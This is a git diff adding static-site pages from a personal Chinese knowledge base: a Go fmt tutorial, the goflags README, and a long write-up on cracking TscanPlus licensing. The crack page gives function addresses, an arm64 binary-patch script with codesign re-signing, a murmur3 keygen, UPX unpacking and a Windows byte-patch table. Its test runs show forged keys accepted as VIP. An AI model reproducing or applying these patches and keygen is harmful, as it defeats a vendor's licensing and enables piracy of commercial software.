+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go模块学习/GoLang-fmt/index.html b/en/docs/个人知识库/语言知识/Go/Go模块学习/GoLang-fmt/index.html new file mode 100644 index 0000000..487b21a --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go模块学习/GoLang-fmt/index.html @@ -0,0 +1,359 @@ + + + + + +fmt | wjlin0 + + + + + + + +

fmt

+
+

本篇知识,搬运至 Go语言fmt使用指南 | 李文周的博客,如有侵权,联系我下架 。

+
+

fmt包实现了类似C语言printf和scanf的格式化I/O。主要分为向外输出内容和获取输入内容两大部分。

+

向外输出​

+

标准库fmt提供了以下几种输出相关函数。

+

Print​

+

Print系列函数会将内容输出到系统的标准输出,区别在于Print函数直接输出内容,Printf函数支持格式化输出字符串,Println函数会在输出内容的结尾添加一个换行符。

+
func Print(a ...interface{}) (n int, err error)
func Printf(format string, a ...interface{}) (n int, err error)
func Println(a ...interface{}) (n int, err error)
+

举个简单的例子:

+
func main() {
fmt.Print("在终端打印该信息。")
name := "沙河小王子"
fmt.Printf("我是:%s\n", name)
fmt.Println("在终端打印单独一行显示")
}
+

执行上面的代码输出:

+
在终端打印该信息。我是:沙河小王子
在终端打印单独一行显示
+

Fprint​

+

Fprint系列函数会将内容输出到一个io.Writer接口类型的变量w中,我们通常用这个函数往文件中写入内容。

+
func Fprint(w io.Writer, a ...interface{}) (n int, err error)
func Fprintf(w io.Writer, format string, a ...interface{}) (n int, err error)
func Fprintln(w io.Writer, a ...interface{}) (n int, err error)
+

举个例子:

+
// 向标准输出写入内容
fmt.Fprintln(os.Stdout, "向标准输出写入内容")
fileObj, err := os.OpenFile("./xx.txt", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644)
if err != nil {
fmt.Println("打开文件出错,err:", err)
return
}
name := "沙河小王子"
// 向打开的文件句柄中写入内容
fmt.Fprintf(fileObj, "往文件中写如信息:%s", name)
+

注意,只要满足io.Writer接口的类型都支持写入。

+

Sprint​

+

Sprint系列函数会把传入的数据生成并返回一个字符串。

+
func Sprint(a ...interface{}) string
func Sprintf(format string, a ...interface{}) string
func Sprintln(a ...interface{}) string
+

简单的示例代码如下:

+
s1 := fmt.Sprint("沙河小王子")
name := "沙河小王子"
age := 18
s2 := fmt.Sprintf("name:%s,age:%d", name, age)
s3 := fmt.Sprintln("沙河小王子")
fmt.Println(s1, s2, s3)
+

Errorf​

+

Errorf函数根据format参数生成格式化字符串并返回一个包含该字符串的错误。

+
func Errorf(format string, a ...interface{}) error
+

通常使用这种方式来自定义错误类型,例如:

+
err := fmt.Errorf("这是一个错误")
+

Go1.13版本为fmt.Errorf函数新加了一个%w占位符用来生成一个可以包裹Error的Wrapping Error。

+
e := errors.New("原始错误e")
w := fmt.Errorf("Wrap了一个错误%w", e)
+

格式化占位符​

+

*printf系列函数都支持format格式化参数,在这里我们按照占位符将被替换的变量类型划分,方便查询和记忆。

+

通用占位符​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
占位符说明
%v值的默认格式表示
%+v类似%v,但输出结构体时会添加字段名
%#v值的Go语法表示
%T打印值的类型
%%百分号
+

示例代码如下:

+
fmt.Printf("%v\n", 100)
fmt.Printf("%v\n", false)
o := struct{ name string }{"小王子"}
fmt.Printf("%v\n", o)
fmt.Printf("%#v\n", o)
fmt.Printf("%T\n", o)
fmt.Printf("100%%\n")
+

输出结果如下:

+
100
false
{小王子}
struct { name string }{name:"小王子"}
struct { name string }
100%
+

布尔型​

+ + + + + + + + + + + + + +
占位符说明
%ttrue或false
+

整型​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
占位符说明
%b表示为二进制
%c该值对应的unicode码值
%d表示为十进制
%o表示为八进制
%x表示为十六进制,使用a-f
%X表示为十六进制,使用A-F
%U表示为Unicode格式:U+1234,等价于”U+%04X”
%q该值对应的单引号括起来的go语法字符字面值,必要时会采用安全的转义表示
+

示例代码如下:

+
n := 65
fmt.Printf("%b\n", n)
fmt.Printf("%c\n", n)
fmt.Printf("%d\n", n)
fmt.Printf("%o\n", n)
fmt.Printf("%x\n", n)
fmt.Printf("%X\n", n)
+

输出结果如下:

+
1000001
A
65
101
41
41
+

浮点数与复数​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
占位符说明
%b无小数部分、二进制指数的科学计数法,如-123456p-78
%e科学计数法,如-1234.456e+78
%E科学计数法,如-1234.456E+78
%f有小数部分但无指数部分,如123.456
%F等价于%f
%g根据实际情况采用%e或%f格式(以获得更简洁、准确的输出)
%G根据实际情况采用%E或%F格式(以获得更简洁、准确的输出)
+

示例代码如下:

+
f := 12.34
fmt.Printf("%b\n", f)
fmt.Printf("%e\n", f)
fmt.Printf("%E\n", f)
fmt.Printf("%f\n", f)
fmt.Printf("%g\n", f)
fmt.Printf("%G\n", f)
+

输出结果如下:

+
6946802425218990p-49
1.234000e+01
1.234000E+01
12.340000
12.34
12.34
+

字符串和[]byte​

+ + + + + + + + + + + + + + + + + + + + + + + + + +
占位符说明
%s直接输出字符串或者[]byte
%q该值对应的双引号括起来的go语法字符串字面值,必要时会采用安全的转义表示
%x每个字节用两字符十六进制数表示(使用a-f
%X每个字节用两字符十六进制数表示(使用A-F)
+

示例代码如下:

+
s := "小王子"
fmt.Printf("%s\n", s)
fmt.Printf("%q\n", s)
fmt.Printf("%x\n", s)
fmt.Printf("%X\n", s)
+

输出结果如下:

+
小王子
"小王子"
e5b08fe78e8be5ad90
E5B08FE78E8BE5AD90
+

指针​

+ + + + + + + + + + + + + +
占位符说明
%p表示为十六进制,并加上前导的0x
+

示例代码如下:

+
a := 10
fmt.Printf("%p\n", &a)
fmt.Printf("%#p\n", &a)
+

输出结果如下:

+
0xc000094000
c000094000
+

宽度标识符​

+

宽度通过一个紧跟在百分号后面的十进制数指定,如果未指定宽度,则表示值时除必需之外不作填充。精度通过(可选的)宽度后跟点号后跟的十进制数指定。如果未指定精度,会使用默认精度;如果点号后没有跟数字,表示精度为0。举例如下:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
占位符说明
%f默认宽度,默认精度
%9f宽度9,默认精度
%.2f默认宽度,精度2
%9.2f宽度9,精度2
%9.f宽度9,精度0
+

示例代码如下:

+
n := 12.34
fmt.Printf("%f\n", n)
fmt.Printf("%9f\n", n)
fmt.Printf("%.2f\n", n)
fmt.Printf("%9.2f\n", n)
fmt.Printf("%9.f\n", n)
+

输出结果如下:

+
12.340000
12.340000
12.34
12.34
12
+

其他flag​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
占位符说明
’+’总是输出数值的正负号;对%q(%+q)会生成全部是ASCII字符的输出(通过转义);
’ ‘对数值,正数前加空格而负数前加负号;对字符串采用%x或%X时(% x或% X)会给各打印的字节之间加空格
’-’在输出右边填充空白而不是默认的左边(即从默认的右对齐切换为左对齐);
’#’八进制数前加0(%#o),十六进制数前加0x(%#x)或0X(%#X),指针去掉前面的0x(%#p)对%q(%#q),对%U(%#U)会输出空格和单引号括起来的go字面值;
‘0’使用0而不是空格填充,对于数值类型会把填充的0放在正负号后面;
+

举个例子:

+
s := "小王子"
fmt.Printf("%s\n", s)
fmt.Printf("%5s\n", s)
fmt.Printf("%-5s\n", s)
fmt.Printf("%5.7s\n", s)
fmt.Printf("%-5.7s\n", s)
fmt.Printf("%5.2s\n", s)
fmt.Printf("%05s\n", s)
+

输出结果如下:

+
小王子
小王子
小王子
小王子
小王子
小王
00小王子
+

获取输入​

+

Go语言fmt包下有fmt.Scan、fmt.Scanf、fmt.Scanln三个函数,可以在程序运行过程中从标准输入获取用户的输入。

+

fmt.Scan​

+

函数定签名如下:

+
func Scan(a ...interface{}) (n int, err error)
+
    +
  • Scan从标准输入扫描文本,读取由空白符分隔的值保存到传递给本函数的参数中,换行符视为空白符。
  • +
  • 本函数返回成功扫描的数据个数和遇到的任何错误。如果读取的数据个数比提供的参数少,会返回一个错误报告原因。
  • +
+

具体代码示例如下:

+
func main() {
var (
name string
age int
married bool
)
fmt.Scan(&name, &age, &married)
fmt.Printf("扫描结果 name:%s age:%d married:%t \n", name, age, married)
}
+

将上面的代码编译后在终端执行,在终端依次输入小王子、28和false使用空格分隔。

+
$ ./scan_demo 
小王子 28 false
扫描结果 name:小王子 age:28 married:false
+

fmt.Scan从标准输入中扫描用户输入的数据,将以空白符分隔的数据分别存入指定的参数。

+

fmt.Scanf​

+

函数签名如下:

+
func Scanf(format string, a ...interface{}) (n int, err error)
+
    +
  • Scanf从标准输入扫描文本,根据format参数指定的格式去读取由空白符分隔的值保存到传递给本函数的参数中。
  • +
  • 本函数返回成功扫描的数据个数和遇到的任何错误。
  • +
+

代码示例如下:

+
func main() {
var (
name string
age int
married bool
)
fmt.Scanf("1:%s 2:%d 3:%t", &name, &age, &married)
fmt.Printf("扫描结果 name:%s age:%d married:%t \n", name, age, married)
}
+

将上面的代码编译后在终端执行,在终端按照指定的格式依次输入小王子、28和false。

+
$ ./scan_demo 
1:小王子 2:28 3:false
扫描结果 name:小王子 age:28 married:false
+

fmt.Scanf不同于fmt.Scan简单的以空格作为输入数据的分隔符,fmt.Scanf为输入数据指定了具体的输入内容格式,只有按照格式输入数据才会被扫描并存入对应变量。

+

例如,我们还是按照上个示例中以空格分隔的方式输入,fmt.Scanf就不能正确扫描到输入的数据。

+
$ ./scan_demo 
小王子 28 false
扫描结果 name: age:0 married:false
+

fmt.Scanln​

+

函数签名如下:

+
func Scanln(a ...interface{}) (n int, err error)
+
    +
  • Scanln类似Scan,它在遇到换行时才停止扫描。最后一个数据后面必须有换行或者到达结束位置。
  • +
  • 本函数返回成功扫描的数据个数和遇到的任何错误。
  • +
+

具体代码示例如下:

+
func main() {
var (
name string
age int
married bool
)
fmt.Scanln(&name, &age, &married)
fmt.Printf("扫描结果 name:%s age:%d married:%t \n", name, age, married)
}
+

将上面的代码编译后在终端执行,在终端依次输入小王子、28和false使用空格分隔。

+
$ ./scan_demo 
小王子 28 false
扫描结果 name:小王子 age:28 married:false
+

fmt.Scanln遇到回车就结束扫描了,这个比较常用。

+

bufio.NewReader​

+

有时候我们想完整获取输入的内容,而输入的内容可能包含空格,这种情况下可以使用bufio包来实现。示例代码如下:

+
func bufioDemo() {
reader := bufio.NewReader(os.Stdin) // 从标准输入生成读对象
fmt.Print("请输入内容:")
text, _ := reader.ReadString('\n') // 读到换行
text = strings.TrimSpace(text)
fmt.Printf("%#v\n", text)
}
+

Fscan系列​

+

这几个函数功能分别类似于fmt.Scan、fmt.Scanf、fmt.Scanln三个函数,只不过它们不是从标准输入中读取数据而是从io.Reader中读取数据。

+
func Fscan(r io.Reader, a ...interface{}) (n int, err error)
func Fscanln(r io.Reader, a ...interface{}) (n int, err error)
func Fscanf(r io.Reader, format string, a ...interface{}) (n int, err error)
+

Sscan系列​

+

这几个函数功能分别类似于fmt.Scan、fmt.Scanf、fmt.Scanln三个函数,只不过它们不是从标准输入中读取数据而是从指定字符串中读取数据。

+
func Sscan(str string, a ...interface{}) (n int, err error)
func Sscanln(str string, a ...interface{}) (n int, err error)
func Sscanf(str string, format string, a ...interface{}) (n int, err error)
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go模块学习/GoLang-goflags/index.html b/en/docs/个人知识库/语言知识/Go/Go模块学习/GoLang-goflags/index.html new file mode 100644 index 0000000..b0813ef --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go模块学习/GoLang-goflags/index.html @@ -0,0 +1,193 @@ + + + + + +goflags | wjlin0 + + + + + + + +

goflags

+
+

[!Tip]

+

本篇文章参考如下,如有侵权,请联系我删除。

+ +
+

License +Go version +Release +Checks

+

An extension of the go flag library that adds convenience functions and functionalities like config file, better usage, short and long flag support, custom types for string slices and maps etc.

+

Features​

+
    +
  • In-built YAML Configuration file support.
  • +
  • Better usage instructions
  • +
  • Short and long flags support
  • +
  • Custom String Slice types with different options (comma-separated,normalized,etc)
  • +
  • Custom Map type
  • +
  • Flags grouping support (CreateGroup,SetGroup)
  • +
+

Usage​

+

The following types are supported by the goflags library. The <name>P suffix means that the flag supports both a long and a short flag for the option.

+

Flag Types​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FunctionDescription
BoolVarBoolean value with long name
BoolVarPBoolean value with long short name
DurationVarTime Duration value with long name
DurationVarPTime Duration value with long short name
IntVarInteger value with long name
IntVarPInteger value with long short name
PortVarPort value with long name
PortVarPPort value with long short name
RuntimeMapVarMap value with long name
RuntimeMapVarPMap value with long short name
StringSliceVarString Slice value with long name and options
StringSliceVarConfigOnlyString Slice value with long name read from config file only
StringSliceVarPString slice value with long short name and options
StringVarString value with long name
StringVarEnvString value with long short name read from environment
StringVarPString value with long short name
VarCustom value with long name implementing flag.Value interface
VarPCustom value with long short name implementing flag.Value interface
EnumVarEnum value with long name
EnumVarPEnum value with long short name
+

String Slice Options​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
String Slice OptionTokenizationNormalizationDescription
StringSliceOptionsNoneNoneDefault String Slice
CommaSeparatedStringSliceOptionsCommaNoneComma-separated string slice
FileCommaSeparatedStringSliceOptionsCommaNoneComma-separated items from file/cli
NormalizedOriginalStringSliceOptionsNoneStandardList of normalized string slice
FileNormalizedStringSliceOptionsCommaStandardList of normalized string slice from file/cli
FileStringSliceOptionsStandardStandardList of string slice from file
NormalizedStringSliceOptionsCommaStandardList of normalized string slice
+

Example​

+

An example showing various options of the library is specified below.

+
package main

import (
"fmt"
"log"

"github.com/projectdiscovery/goflags"
)

type options struct {
silent bool
inputs goflags.StringSlice
config string
values goflags.RuntimeMap
}

const (
Nil goflags.EnumVariable = iota
Type1
Type2
)

func main() {
enumAllowedTypes := goflags.AllowdTypes{"type1": Type1, "type2": Type2}
opt := &options{}

flagSet := goflags.NewFlagSet()
flagSet.SetDescription("Test program to demonstrate goflags options")

flagSet.EnumVarP(&options.Type, "enum-type", "et", Nil, "Variable Type (type1/type2)", enumAllowedTypes)
flagSet.BoolVar(&opt.silent, "silent", true, "show silent output")
flagSet.StringSliceVarP(&opt.inputs, "inputs", "i", nil, "list of inputs (file,comma-separated)", goflags.FileCommaSeparatedStringSliceOptions)

// Group example
flagSet.CreateGroup("config", "Configuration",
flagSet.StringVar(&opt.config, "config", "", "file to read config from"),
flagSet.RuntimeMapVar(&opt.values, "values", nil, "key-value runtime values"),
)
if err := flagSet.Parse(); err != nil {
log.Fatalf("Could not parse flags: %s\n", err)
}
if opt.config != "" {
if err := flagSet.MergeConfigFile(opt.config); err != nil {
log.Fatalf("Could not merge config file: %s\n", err)
}
}
fmt.Printf("silent: %v inputs: %v config: %v values: %v\n", opt.silent, opt.inputs, opt.config, opt.values)
}
+

Thanks​

+
    +
  1. spf13/cobra - For the very nice usage template for the command line.
  2. +
  3. nmap/nmap - For the service-port mapping and top-ports list.
  4. +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/index.html b/en/docs/个人知识库/语言知识/index.html new file mode 100644 index 0000000..aee87eb --- /dev/null +++ b/en/docs/个人知识库/语言知识/index.html @@ -0,0 +1,34 @@ + + + + + +语言知识 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/逆向破解/TscanPlus授权逻辑分析与二进制补丁破解/index.html b/en/docs/个人知识库/逆向破解/TscanPlus授权逻辑分析与二进制补丁破解/index.html new file mode 100644 index 0000000..8b6a6c9 --- /dev/null +++ b/en/docs/个人知识库/逆向破解/TscanPlus授权逻辑分析与二进制补丁破解/index.html @@ -0,0 +1,541 @@ + + + + + +TscanPlus 授权逻辑分析与二进制补丁破解 | wjlin0 + + + + + + + +

TscanPlus 授权逻辑分析与二进制补丁破解

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-10-18 19:35:21
+
+

由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

+
+

结论先说:这是绕过 + 显示层改写,不是 keygen 破解。授权记录走 ECDSA(二进制里只有公钥),激活码无法离线伪造;记录还绑硬件,跨机器不可复用。下面所有"破解"指的是:让校验分支恒不触发,让界面显示 认证Vip版 和一个假日期。

+
+

0. 样本​

+

四份样本,同一套 garble 名字(B0Uu8RPrb2、O7rc6qW0L、Tmfc2rYXRKJT、CSfeFGrv、RVNs3NL5L、XrgIp0N_yO、UNXx_ve6、Ju1zV6nVMwrMz0、PKVcmcz2RL7Dh),但地址每份都不同 —— 用第 9 节的表逐份对照,别把 A 的地址用在 B 上。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
编号样本格式版本分支补丁显示串(2099)实测
A/tmp/ctf/tscan_plusMach-O arm643.5.3✓✗(运行时解码)✓
BTscanPlus_Mac_Amd64.dmg 内 Contents/MacOS/TscanPlusMach-O x86_643.5.4✓✗(未认证 无代码引用)✓(Rosetta)
C~/Downloads/TscanPlus_Win_Amd64.exePE x86-64(UPX)3.5.3✓✓✓(Windows 实测)
D~/Downloads/TscanPlus_Win_Arm64.zip 内 exePE x86-64(UPX,文件名误标 arm64)3.5.4✓✓✓(Windows 实测)
+

产物与脚本:/tmp/ctf_crack/(A)、/tmp/ctf_crack_win/(C)、/tmp/ctf_work/patch_*.py;打包在 ~/Downloads/Tscan_Plus_3.5.4.patched_all.zip。

+

项目为 TideSec TscanPlus(Wails GUI),授权逻辑在 TscanGui/conf + TscanGui/internal/cli。

+
+

1. 授权架构(IDA 定位,样本 A)​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
作用函数地址
CLI 授权闸门(真正校验入口)TscanGui_internal_cli.runLicenseCheck0x102a89330
Key 解析 / 字段校验conf.B0Uu8RPrb20x10047ad30
Key 格式校验conf.Tmfc2rYXRKJT0x100476d10
签名校验 B7CIv4PLX("phase3", f1) == f4conf.O7rc6qW0L0x10047a2c0
时间字段校验 f3 < 1797379200conf.PKVcmcz2RL7Dh0x10047fc10
murmur3-32(seed 0) + nibble 折叠conf.B7CIv4PLX / conf.XSMB4O0fIIE2W0x100476a70 / 0x100470c90
硬件指纹(sysctl CPU 品牌 + 物理网卡 MAC)conf.SOPBYsgV / conf.Z5NrYd0V4gEq0x1004809c0 / 0x100480a70
嵌入常量自一致性校验conf.CSfeFGrv / conf.RVNs3NL5L0x1004ab7f0 / 0x1004ad068
过期判断(永不过期补丁点)conf.Qwprp5uSfv32rKY0x100439230
结果标志conf.XrgIp0N_yO0x100451b70
显示字符串来源(运行时解码,不可静态改)conf.UNXx_ve60x10047f900
+

Key 格式 f1.f2.f3.f4.f5,正则 ^\d+\.\d+\.\d+(\.\d+)?$:

+
    +
  • f2 ≤ 30000
  • +
  • f3 < 1797379200 = 0x6b21d480 → 2026-12-16(我早先记成 2027-02-15,是错的,这里已改)
  • +
  • f5 ∈ 0..5(能力位)
  • +
  • f4 = fold(first8digits(murmur3_32_seed0("phase3"+f1))) ^ 6
  • +
+

核心字节变换(反汇编验证):out[i] = ROR(in[i] ^ (19*i + seed), seed % 8) ^ (seed + i),Yal9faJZY[i] = i*19, +seed(k) = DL1UvTAsmAyf4zI[k] ^ 158(g0=0x7a, g1=0x3b, g2=0x2e, g3=0x5d);C 系列 getter 用固定种子 156/143/125/126。

+
+

2. 方法 B:分支补丁(样本 A,已验证可用)​

+

arm64 无条件跳转:word = 0x14000000 | ((target - addr) / 4 & 0x3FFFFFF)

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
地址原指令改为效果写入 word
0x102a89394CBZ → 0x102a893ccB跳过"无效的Key"错误分支0x1400000e
0x102a893d4CBZ → 0x102a893d8B强制走 VIP 分支0x14000001
0x102a893e0TBZ → 0x102a893f4BXrgIp0N_yO 结果被忽略0x14000001
0x1004aba58CBZ → 0x1004abaf8BCSfeFGrv 折叠校验跳过0x14000028
0x1004ad198CBZ → 0x1004ad238BRVNs3NL5L IV 折叠校验跳过0x14000028
0x10043932cTBNZ → 0x100439370B永不过期0x14000011
+

补丁脚本(__text 段:文件偏移 = vaddr − 0x100000000):

+
import struct
f = open('/tmp/ctf/tscan_plus','r+b'); base = 0x100000000
def patch(addr, target):
imm = (target - addr) // 4
f.seek(addr - base); f.write(struct.pack('<I', 0x14000000 | (imm & 0x3FFFFFF)))
for addr, target in [(0x102a89394,0x102a893cc),(0x102a893d4,0x102a893d8),(0x102a893e0,0x102a893e4),
(0x1004aba58,0x1004abaf8),(0x1004ad198,0x1004ad238),(0x10043932c,0x100439370)]:
patch(addr, target)
+

必须重新签名(Mach-O 代码签名覆盖 __text,改字节后不重签名会直接闪退):

+
codesign --remove-signature tscan_plus.cracked
codesign -s - --force tscan_plus.cracked
+
+

3. Keygen(murmur3-32 seed 0 + nibble 折叠)​

+

公式在样本 C 的反汇编里被直接确认过(见 8.4),所以这条是准的 —— 但公式对的 key 仍然不能认证,因为后面还有硬件校验和记录校验。

+
def murmur3_32(data, seed=0):
h = seed; c1, c2 = 0xcc9e2d51, 0x1b873593
for i in range(0, len(data), 4):
k = int.from_bytes(data[i:i+4], 'little')
k = (k*c2 & 0xFFFFFFFF); k = (k<<15 | k>>17) & 0xFFFFFFFF; k = (k*c1) & 0xFFFFFFFF
h ^= k; h = (h<<13 | h>>19) & 0xFFFFFFFF; h = (h*5 + 0xe6546b64) & 0xFFFFFFFF
h ^= len(data)
h ^= h>>16; h = (h*0x85ebca6b) & 0xFFFFFFFF
h ^= h>>13; h = (h*0xc2b2ae35) & 0xFFFFFFFF
h ^= h>>16
return h

def fold(s): # murmur3 十进制结果前 8 位按 base-16 解释
return int(s[:8], 16)

def sig(f1, prefix="phase3"):
return fold(str(murmur3_32((prefix + str(f1)).encode()))) ^ len(prefix)

f1 = 12345
print(f"{f1}.12345.12345.{sig(f1)}.1") # -> 12345.12345.12345.658924676.1
+
+

4. 运行验证(样本 A)​

+

原始二进制:

+
$ ./tscan_plus -license 12345.12345.12345.658924676.1
[ERROR] 认证失败: 无效的Key (exit 1)
+

破解后(方法 B + 重签名):

+
$ ./tscan_plus.cracked -license 12345.12345.12345.658924676.1
Version: 3.5.3 Expired: 2027.06.01 认证Vip版
[INFO] 认证成功,版本类型: 认证Vip版
[INFO] Vip状态: 2027.06.01 (exit 0)
+
+

5. "把 Vip状态 认证到 2099 年" —— 样本 A 上未闭合,原因记录​

+

5.1 为什么不能直接改字符串​

+
    +
  • 全文件在纯文本、XOR、ADD,以及 sub_102B68A44 的字节形态和 int32-rune 形态(反推 256 个种子)下都搜不到 2027.06.01;
  • +
  • Vip状态 走 conf.UNXx_ve6 → *(string*)(ZptlguuF3yD5 + 24),ZptlguuF3yD5 是 conf.Init 运行时构造的堆对象;
  • +
  • 该字符串由 conf.LdJuJbd0Sx07 把 4 段 garble 片段解码后 concatstring4 拼出;conf.init 里另一条 UoEhcDLClOvs3(base64 @0x102DF13F1, 24) 走 AES-CBC,key = IV = TIDETideTidEtide(key = GWKfJgPdH0RoV8iN 的四段 ^0xD8),当前 blob XDO+lmEHawuskT+iyi2twg== 解出 2028.01.01;把 2099.12.31 重新 PKCS7+CBC 加密得 xvUwHiQzJwM6INqkKCYNbw==(正好 24 字符,可原地覆盖)—— 但这条写的是 qword_10974DC20 那个变量,不是 Vip状态 用的那个,所以显示不变。
  • +
+

5.2 试过的"直路"(runtime.printstring)与失败原因​

+

在 runLicenseCheck 的 9 个指令槽 0x102a89420..0x102a89440 改成:

+
movabs x0, <rodata 空闲槽 0x102F00700>   ; 'Vip状态: 2099.12.31\n'(22B,位于 __rodata 未被引用的 61B 空隙 0x102F006F6)
mov x1, #22
bl runtime.printstring
nop; nop; nop; nop
+

编码已逐条用 capstone 反汇编校验(ADRP: immlo 在 bit 29–30、immhi 在 bit 5–23、Rd 在 bit 4–0;BL: 0x94000000 | (imm & 0x3FFFFFF),imm 必须按 bl 自身地址计算;MOVZ/MOVK 基值 0xD2800000 / 0xF2800000 + hw<<21)。

+

实测:

+
    +
  1. 用 IDA 名字里的 runtime.printstring(0x1000492c0)→ fatal error: unexpected signal during runtime execution;
  2. +
  3. 用运行期回溯里真正的 runtime.printstring(0x10076d2c0)→ SIGSEGV code=0x2 addr=0x102f00700。
  4. +
+

原因:0x10076d2c0 会执行 str x1, [x0, #0x18](把类型指针写进 x0)—— 它把第一个参数当作可写的 *String 头,而 __rodata / __DATA_CONST 运行时只读 ⇒ 任何指向 rodata 的字符串都会崩。__bss(0x109744DE0 起)可写但文件里 offset 0、没有静态内容可预填 ⇒ 静态补丁给不出可写的 String 头。要成立必须让头落在运行时堆上(复刻 concatstrings 的 alloc),纯静态补丁做不到。

+

5.3 样本 A 上若仍要 2099,只有两条路​

+
    +
  1. 数据层:完整复刻 TH_VJih0zt 的逐段种子/长度逻辑(种子表与长度来自运行时 relocation,需要动态确认),把 LdJuJbd0Sx07 的 4 段重新编码成 2099/.12/./31,原地覆盖 → Expired 和 Vip状态 会同时变。
  2. +
  3. 动态确认:lldb 断在 runtime.printstring / runtime.convTstring,把运行时真正使用的 ZptlguuF3yD5+24 打出来,再反推 4 段编码。
  4. +
+
+

6. 复现清单​

+
    +
  1. cp /tmp/ctf/tscan_plus /tmp/ctf_crack/tscan_plus.cracked
  2. +
  3. 按第 2 节写 6 个 B 指令(用 capstone 逐条校验 imm)
  4. +
  5. codesign --remove-signature + codesign -s - --force
  6. +
  7. keygen.py 造 key,运行 -license 验证
  8. +
+
+

7. 工具与目录约定(为什么脚本和数据分开放)​

+

规则是:下载/解包的不可信数据各自独占一个空目录,自己写的脚本放在另一个目录(解释器会从脚本所在目录和当前目录加载代码,一个 planted json.py 会在 import json 时执行)。所以样本在 /tmp/ctf/、产物在 /tmp/ctf_crack/、脚本在 /tmp/ctf_work/,读数据的 Python 一律 python3 -I。

+
+

8. Windows 版(样本 C)—— IDA 里看不到函数/字符串的原因与破解​

+

8.1 为什么 IDA 的 IDB 是空的​

+

~/Downloads/TscanPlus_Win_Amd64/TscanPlus_Win_Amd64.exe 是 UPX 加壳的 Go PE(段名 UPX0/UPX1,UPX0 rawsize=0)。所以 IDA 里只有 start、list_strings_filter 全空 —— pclntab 和代码都还在压缩流里。

+

解包(标准 UPX,可直接 upx -d):

+
upx -d exe.orig -o exe.unpacked        # 42,532,152 -> 135,535,928,win64/pe
+

解包后:Go 1.25.10 / amd64,同样是 garble 混淆(bogus error 2、BogusInterface、selfcheck: hash mismatch、bogus_hardware、bogus_data 是它的自一致性校验与诱饵分支)。 +go tool nm 对这个文件报 no symbols(Go 1.25 的 pclntab 布局 + PE 无 COFF 符号表,objfile 读不到),所以函数名只能靠 .pdata(PE exception table) 拿边界:每条 12 字节 {BeginRVA, EndRVA, UnwindRVA},30678 个函数,边界完整可用;再配 capstone 反汇编。

+

段表(解包后):

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
段vaddr(RVA)vsizerawrawsize
.text0x10000x27504a00x4000x2750600
.rdata0x2d2f0000x52082d00x2d2ce000x5208400
.pdata0x7f390000xe60880x7f354000xe6200
.bss0x80270000xa5c20——
+

imagebase 0x140000000,file offset = vaddr - 0x140000000 - 0xC00(.text)。

+

8.2 x64 版方法 B(长度不变,改完直接能跑,不需要重签名)​

+

arm64 上是 B;x64 上等价做法是 jcc rel8 → jmp rel8(0x74→0xEB,0x75→0xEB),或者把 jcc 直接改成等长 nop(0x90)。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
地址原指令(字节)改成作用
0x1404cc900cmp rsp,[r14+0x10]; jbe; push rbp; mov rbp,rspxor eax,eax; xor ebx,ebx; ret; nop×4conf.B0Uu8RPrb2 恒返回 nil error(key 校验整体放行)
0x142515e1575 20 jne 0x142515e37eb 20cli.runLicenseCheck 跳过"请输入 Key / 用法"分支
0x142515e4874 31 je 0x142515e7beb 31强制走成功分支
0x142515e8374 1d je 0x142515ea290 90不再选 社区Free版
0x142515e9174 0f je 0x142515ea290 90恒选 认证Vip版
0x14049980049 3b 66 10 0f 86b8 01 00 00 00 c3(mov eax,1; ret)授权标志 getter 恒为 true(前端/功能门控共用)
0x1404cbbf78b 8c 24 ac 00 00 0089 c1 + nop×5mov ecx,[rsp+0xac]→mov ecx,eax:签名比较强制相等
0x1404caeb98b 8c 24 84 00 00 0089 c1 + nop×5同上(另一处 phase3 签名比较)
0x1404cbc0a / 0x1404caeca0f 84 …90×6field==0 → error 分支跳过
+

补丁脚本:/tmp/ctf_work/patch_win_final.py(逐条校验原始字节再写)。

+

8.3 在 Windows 机器上的实测(ssh admin@192.168.1.120)​

+

这个 exe 是 Subsystem = 2(GUI),从 SSH/cmd 跑时它的日志走 Wails 前端,stdout 只有横幅。为了能看到输出,我把同一补丁集的副本把 Subsystem 改成 3(CUI)再跑 —— 行为一致,只是输出可见。

+

基线(未改,伪造 key):

+
$ base_console.exe -license 111.222.333.444.1
Version: 3.5.3 社区Free版 (RC=0)
+

破解后(同一 key):

+
$ cracked_console_e.exe -license 111.222.333.444.1
Version: 3.5.3 Expired: 未认证 认证Vip版 (RC=0)
$ cracked_console_e.exe -license 999.111.222.333.2
Version: 3.5.3 Expired: 未认证 认证Vip版 (RC=0)
+

即:任意伪造 key 不再被拒绝,版本类型显示 认证Vip版,进程正常退出、不崩。

+

